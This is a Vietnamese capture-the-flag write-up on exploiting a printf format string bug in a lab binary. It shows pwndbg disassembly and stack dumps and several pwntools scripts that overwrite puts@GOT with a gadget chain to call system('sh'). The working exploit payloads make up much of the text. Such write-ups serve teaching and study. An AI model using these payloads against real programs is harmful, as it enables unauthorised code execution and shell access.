GOT overwrite with format string
Oke theo mình thì bài này khá là hay về format string, khi mà có thể lợi dụng nó để ghi lên 1 địa chỉ có thể ghi được ở tham số chỉ đính
Để nói rõ hơn thì như sau: giả dụ ở tham số thứ 5 của hàm printf(bị format string) là địa chỉ ô nhớ chứa giá trị là 0x1, thì ta có thể lợi dụng formatstring như sau %15p%5$n là t sẽ over write được từ 0x1 => 0xf
% <giá trị dạng decimal> p% <vị trí cần ghi đè ở tham số thứ mấy> $n
Đầu tiên ta cần check asm code :
pwndbg> info func
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401090 puts@plt
0x00000000004010a0 __stack_chk_fail@plt
0x00000000004010b0 system@plt
0x00000000004010c0 printf@plt
0x00000000004010d0 fgets@plt
0x00000000004010e0 setvbuf@plt
0x00000000004010f0 _start
0x0000000000401120 _dl_relocate_static_pie
0x0000000000401130 deregister_tm_clones
0x0000000000401160 register_tm_clones
0x00000000004011a0 __do_global_dtors_aux
0x00000000004011d0 frame_dummy
0x00000000004011d6 main
0x000000000040129e win
0x00000000004012c0 __libc_csu_init
0x0000000000401330 __libc_csu_fini
0x0000000000401338 _fini
Main func
pwndbg> disass main
Dump of assembler code for function main:
0x00000000004011d6 <+0>: endbr64
0x00000000004011da <+4>: push rbp
0x00000000004011db <+5>: mov rbp,rsp
0x00000000004011de <+8>: sub rsp,0x110
0x00000000004011e5 <+15>: mov rax,QWORD PTR fs:0x28
0x00000000004011ee <+24>: mov QWORD PTR [rbp-0x8],rax
0x00000000004011f2 <+28>: xor eax,eax
0x00000000004011f4 <+30>: mov rax,QWORD PTR [rip+0x2e65] # 0x404060 <stdout@@GLIBC_2.2.5>
0x00000000004011fb <+37>: mov ecx,0x0
0x0000000000401200 <+42>: mov edx,0x2
0x0000000000401205 <+47>: mov esi,0x0
0x000000000040120a <+52>: mov rdi,rax
0x000000000040120d <+55>: call 0x4010e0 <setvbuf@plt>
0x0000000000401212 <+60>: mov rax,QWORD PTR [rip+0x2e57] # 0x404070 <stdin@@GLIBC_2.2.5>
0x0000000000401219 <+67>: mov ecx,0x0
0x000000000040121e <+72>: mov edx,0x2
0x0000000000401223 <+77>: mov esi,0x0
0x0000000000401228 <+82>: mov rdi,rax
0x000000000040122b <+85>: call 0x4010e0 <setvbuf@plt>
0x0000000000401230 <+90>: lea rdi,[rip+0xdd1] # 0x402008
0x0000000000401237 <+97>: call 0x401090 <puts@plt>
0x000000000040123c <+102>: mov rdx,QWORD PTR [rip+0x2e2d] # 0x404070 <stdin@@GLIBC_2.2.5>
0x0000000000401243 <+109>: lea rax,[rbp-0x110]
0x000000000040124a <+116>: mov esi,0x100
0x000000000040124f <+121>: mov rdi,rax
0x0000000000401252 <+124>: call 0x4010d0 <fgets@plt>
0x0000000000401257 <+129>: lea rax,[rbp-0x110]
0x000000000040125e <+136>: mov rdi,rax
0x0000000000401261 <+139>: mov eax,0x0
0x0000000000401266 <+144>: call 0x4010c0 <printf@plt>
0x000000000040126b <+149>: lea rdi,[rip+0xdb6] # 0x402028
0x0000000000401272 <+156>: call 0x401090 <puts@plt>
0x0000000000401277 <+161>: lea rdi,[rip+0xdca] # 0x402048
0x000000000040127e <+168>: call 0x401090 <puts@plt>
0x0000000000401283 <+173>: mov eax,0x0
0x0000000000401288 <+178>: mov rcx,QWORD PTR [rbp-0x8]
0x000000000040128c <+182>: xor rcx,QWORD PTR fs:0x28
0x0000000000401295 <+191>: je 0x40129c <main+198>
0x0000000000401297 <+193>: call 0x4010a0 <__stack_chk_fail@plt>
0x000000000040129c <+198>: leave
0x000000000040129d <+199>: ret
End of assembler dump.
win func
pwndbg> disass win
Dump of assembler code for function win:
0x000000000040129e <+0>: endbr64
0x00000000004012a2 <+4>: push rbp
0x00000000004012a3 <+5>: mov rbp,rsp
0x00000000004012a6 <+8>: lea rdi,[rip+0xdc5] # 0x402072
0x00000000004012ad <+15>: call 0x4010b0 <system@plt>
0x00000000004012b2 <+20>: nop
0x00000000004012b3 <+21>: pop rbp
0x00000000004012b4 <+22>: ret
End of assembler dump.
pwndbg> x/s 0x402072
0x402072: "cat flag.txt >/dev/null"
Với >/dev/null thì thật vô nghĩa thì call hàm win, tuy nhiên ta vẫn có được hàm system, oke nếu là system thì ta cần thêm tham số là /bin/sh hoặc là sh ở đây mình sẽ dùng sh cho gọn nhẹ.
Với vmmap ta có thể chọn được địa chỉ ghi sh hợp lí, tránh ghi đè.
OK, đầu tiên ta sẽ tiến hành thử nghiệm khả năng tuyệt vời của format string. Với format string $n ta có thể ghi được 4 bytes vào địa chỉ chỉ định.
Ở đây ta thấy sau hàm printf có hàm puts, trông khá vô nghĩa, mục tiêu đầu tiên là replace puts_got => địa chỉ pop_rdi
Đặt breakpoint và check xem khi này thì puts_got đang trỏ đến địa chỉ gì khi mà puts đã được gọi 1 lần trước đó.
pwndbg> x/8z 0x404018
0x404018 <puts@got.plt>: 0x30 0x10 0x40 0x00 0x00 0x00 0x00 0x00
pwndbg> c
Continuing.
Send your string to be printed:
%6$p
0xa70243625
Breakpoint 3, 0x0000000000401272 in main ()
─────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdf50 ◂— 0xa70243625 /* '%6$p\n' */
01:0008│ 0x7fffffffdf58 ◂— 0x0
... ↓ 6 skipped
───────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────
► 0 0x401272 main+156
1 0x7ffff7db7d90 __libc_start_call_main+128
2 0x7ffff7db7e40 __libc_start_main+128
3 0x40111e _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/8z 0x404018
0x404018 <puts@got.plt>: 0xd0 0xee 0xe0 0xf7 0xff 0x7f 0x00 0x00
Có 2 vấn đề quan trọng ở trên:
-
Trước khi đựoc gọi từ lần đầu tiên thì puts_got sẽ chứa địa chỉ 3 bytes cụ thể là 0x00401030 này chính là địa chỉ của hàm tìm kiếm địa chỉ thực, sau đấy từ lần thứ 2 thì got đã update => 0x00007ffff7e0eed0 6 bytes. Trong khi thg $n của format string chỉ ghi được 4 bytes do đó ta phải ghi 2 lần
-
Ta thấy khi nhập %6$p thì giá trị được in ra nó khớp với giá trị tại cái chỗ ta nhập, theo như kinh nghiệm của người anh mình tham khảo thì thường là chuỗi mình nhập vào sẽ là tham số thứ 6 của hàm prinf
OKe, giờ ta xem:
>>> 0x0000000000401323
4199203
from pwn import *
r = process("./vuln")
gdb.attach(r, api=True)
pop_rdi_ret = 0x0000000000401323
ret = 0x000000000040101a
system = 0x4010b0
binsh = 0x404080
puts_got = 0x404018
payload = b"%10$n%4199203p%9$n------" + p64(puts_got) + p64(puts_got + 4)
r.sendline(payload)
r.interactive()
Nên nhớ chuỗi format string của ta phải ghi đủ stack, len % 8 = 0
magic
pwndbg> x/z 0x404018
0x404018 <puts@got.plt>: 0x00401323
continue
Chuỗi sh = 0x6873 = 26739
Do đó ta cần in ra trước 26739 kí tự rồi write giá trị vào địa chỉ chứ bin_sh
OKe,
from pwn import *
r = process("./vuln")
gdb.attach(r, api=True)
pop_rdi_ret = 0x0000000000401323
ret = 0x000000000040101a
system = 0x4010b0
binsh = 0x404080
puts_got = 0x404018
payload = b"%12$n%26739p%10$n%4172464p%11$n-" + p64(binsh) + p64(puts_got) + p64(puts_got + 4)
r.sendline(payload)
r.interactive()
stack trước ghi gọi puts:
00:0000│ rsp 0x7ffe526c2080 ◂— 0x3632256e24323125 ('%12$n%26')
01:0008│ 0x7ffe526c2088 ◂— 0x2430312570393337 ('739p%10$')
02:0010│ 0x7ffe526c2090 ◂— 0x363432373134256e ('n%417246')
03:0018│ 0x7ffe526c2098 ◂— 0x2d6e243131257034 ('4p%11$n-')
04:0020│ 0x7ffe526c20a0 —▸ 0x404080 ◂— 0x6873 /* 'sh' */
oái oăm là lúc này gọi pop_rdi là dính bẫy, stack vẫn đang chứa chuỗi ta nhập vào do đó ta cần pop sạch stack. rồi mới thêm pop_rdi ngay sau là chuỗi sh xong rồi tiếp theo là hàm system, để khi pop rdi xong nó ret => system
Sau khi pop 4 stack ra thì có vẻ vẫn còn sót 1 ẻm:
───────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────── RAX 0x401320 (__libc_csu_init+96) ◂— pop r14
RBX 0x0
RCX 0x7f496b2c7a37 (write+23) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x0
RDI 0x402028 ◂— 'As someone wise once said, `sh`'
RSI 0x7fff6ef04010 ◂— 0x2020202020202020 (' ')
R8 0x1320
R9 0x0
R10 0x0
R11 0x246
*R12 0x401277 (main+161) ◂— lea rdi, [rip + 0xdca]
*R13 0x3632256e24323125 ('%12$n%26')
*R14 0x2430312570393337 ('739p%10$')
*R15 0x353432373134256e ('n%417245')
RBP 0x7fff6ef06240 ◂— 0x1
*RSP 0x7fff6ef06148 ◂— 0x2d6e243131257037 ('7p%11$n-')
*RIP 0x401324 (__libc_csu_init+100) ◂— ret
────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────── ► 0x401324 <__libc_csu_init+100> ret <0x2d6e243131257037>
─────────────────────────────────[ STACK ]──────────────────────────────────00:0000│ rsp 0x7fff6ef06148 ◂— 0x2d6e243131257037 ('7p%11$n-')
01:0008│ 0x7fff6ef06150 —▸ 0x404080 ◂— 0x6873 /* 'sh' */
02:0010│ 0x7fff6ef06158 —▸ 0x404018 (puts@got[plt]) —▸ 0x40131c (__libc_csu_init+92) ◂— pop r12
03:0018│ 0x7fff6ef06160 —▸ 0x40401c (puts@got[plt]+4) ◂— 0x40104000000000
OKe thoi pop 5 stack, và đứa pop_rdi vào , binsh, system luôn
For sure, yah we done :3
Exploit
from pwn import *
r = process("./vuln")
gdb.attach(r, api=True)
pop_rdi_ret = 0x0000000000401323
pop4_ret = 0x000000000040131c
pop5_ret = 0x000000000040131b
ret = 0x000000000040101a
system = 0x4010b0
binsh = 0x404080
puts_got = 0x404018
payload = b"%14$n%26739p%11$n%4172456p%13$n-" + p64(pop_rdi_ret) + p64(binsh) + p64(system) + p64(puts_got) + p64(puts_got + 4)
r.sendline(payload)
r.interactive()